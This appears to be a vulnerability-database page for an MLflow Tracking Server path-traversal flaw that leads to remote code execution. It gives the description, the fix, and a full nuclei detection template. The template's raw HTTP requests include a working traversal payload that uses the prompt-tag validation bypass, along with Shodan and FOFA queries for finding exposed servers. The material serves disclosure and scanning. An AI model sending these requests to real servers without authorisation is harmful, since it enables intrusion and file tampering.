Browse / CVEs / CVE-2025-11201
CVE-2025-11201· lfprojects / mlflow· CWE-22
MLflow Tracking Server - Unauthenticated Model Source Path Traversal RCE
MLflow Tracking Server is vulnerable to an unauthenticated path traversal in the model-version creation API. The server validates the `source` parameter and rejects relative/local paths, but skips that validation entirely when the request carries the `mlflow.prompt.is_prompt` tag (the request is then treated as a prompt). An unauthenticated attacker can supply an arbitrary traversal path as the model version `source`, writing attacker-controlled files to arbitrary locations on the server filesystem and achieving remote code execution under the service account. The fix adds an opt-in MLFLOW_CREATE_MODEL_VERSION_SOURCE_VALIDATION_REGEX allowlist; with the default (unset) configuration the bypass remains exploitable even on 2.22.4.
Impact
Unauthenticated arbitrary file write on the MLflow server, leading to remote code execution under the service account.
Fix
Upgrade MLflow and set MLFLOW_CREATE_MODEL_VERSION_SOURCE_VALIDATION_REGEX to a strict allowlist that rejects local/relative source paths, and restrict network access to the Tracking Server to trusted users.
How to confirm it
Send: POST /api/2.0/mlflow/registered-models/create
Positive when: contains "\"registered_model\"" AND status 200
Send: POST /api/2.0/mlflow/model-versions/create
Positive when: contains "Invalid model version source"
Send: POST /api/2.0/mlflow/model-versions/create
Positive when: contains "\"model_version\"" and "mlflow.prompt.is_prompt" and "{{probe}}" AND status 200Run it with nuclei: nuclei -id CVE-2025-11201 -u <target>
The full check
id: CVE-2025-11201
info:
name: MLflow Tracking Server - Unauthenticated Model Source Path Traversal RCE
author: DhiyaneshDk
severity: critical
description: |
MLflow Tracking Server is vulnerable to an unauthenticated path traversal in the model-version creation API. The server validates the `source` parameter and rejects relative/local paths, but skips that validation entirely when the request carries the `mlflow.prompt.is_prompt` tag (the request is then treated as a prompt). An unauthenticated attacker can supply an arbitrary traversal path as the model version `source`, writing attacker-controlled files to arbitrary locations on the server filesystem and achieving remote code execution under the service account. The fix adds an opt-in MLFLOW_CREATE_MODEL_VERSION_SOURCE_VALIDATION_REGEX allowlist; with the default (unset) configuration the bypass remains exploitable even on 2.22.4.
impact: |
Unauthenticated arbitrary file write on the MLflow server, leading to remote code execution under the service account.
remediation: |
Upgrade MLflow and set MLFLOW_CREATE_MODEL_VERSION_SOURCE_VALIDATION_REGEX to a strict allowlist that rejects local/relative source paths, and restrict network access to the Tracking Server to trusted users.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-11201
- https://www.zerodayinitiative.com/advisories/ZDI-25-931/
- https://mallory.ai/vulnerabilities/CVE-2025-11201
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-11201
epss-score: 0.26282
epss-percentile: 0.98016
cwe-id: CWE-22
metadata:
verified: true
max-request: 3
shodan-query: 'http.title:"MLflow"'
fofa-query: 'title="MLflow"'
product: mlflow
vendor: lfprojects
tags: cve,cve2025,mlflow,rce,path-traversal,unauth,intrusive,vkev
variables:
model: "{{to_lower(rand_text_alpha(12))}}"
probe: "{{to_lower(rand_text_alpha(10))}}"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /api/2.0/mlflow/registered-models/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name":"{{model}}"}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"registered_model"'
internal: true
- type: status
status:
- 200
internal: true
- raw:
- |
POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name":"{{model}}","source":"/tmp/{{probe}}/../../../../../../../../etc/{{probe}}"}
matchers:
- type: word
part: body
words:
- "Invalid model version source"
internal: true
- raw:
- |
POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name":"{{model}}","source":"/tmp/{{probe}}/../../../../../../../../etc/{{probe}}","tags":[{"key":"mlflow.prompt.is_prompt","value":"true"}]}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"model_version"'
- 'mlflow.prompt.is_prompt'
- '{{probe}}'
condition: and
- type: status
status:
- 200References
- https://nvd.nist.gov/vuln/detail/CVE-2025-11201
- https://www.zerodayinitiative.com/advisories/ZDI-25-931/
- https://mallory.ai/vulnerabilities/CVE-2025-11201
Use this check only on systems you are authorised to test. Where the data comes from